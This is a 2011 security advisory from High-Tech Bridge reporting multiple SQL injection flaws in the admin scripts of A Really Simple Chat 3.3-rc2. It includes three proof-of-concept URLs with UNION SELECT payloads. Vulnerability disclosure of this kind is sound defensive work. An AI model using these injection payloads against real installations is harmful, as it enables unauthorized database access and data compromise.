HTB22999: Multiple SQL Injections in A Really Simple Chat (ARSC)

Vulnerability ID: HTB22999
Reference: http://www.htbridge.ch/advisory/multiple_sql_injections_in_a_really_simple_chat_arsc.html
Product: A Really Simple Chat (ARSC)
Vendor: http://www.reallysimplechat.org/ ( http://www.reallysimplechat.org/ )
Vulnerable Version: 3.3-rc2
Vendor Notification: 12 May 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "/base/admin/edit_user.php" script to properly sanitize user-supplied input in "user" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:

http://[host]/base/admin/edit_user.php?arsc_user=-1%27%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20–%202

The vulnerability exists due to failure in the "/base/admin/edit_layout.php" script to properly sanitize user-supplied input in "arsc_layout_id" variable.
The following PoC is available:

http://[host]/base/admin/edit_layout.php?arsc_layout_id=-1%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

The vulnerability exists due to failure in the "/base/admin/edit_room.php" script to properly sanitize user-supplied input in "arsc_room" variable.
The following PoC is available:

http://[host]/base/admin/edit_room.php?arsc_room=%27%20union%20select%201,2,version%28%29,4,5,6,7%20–%202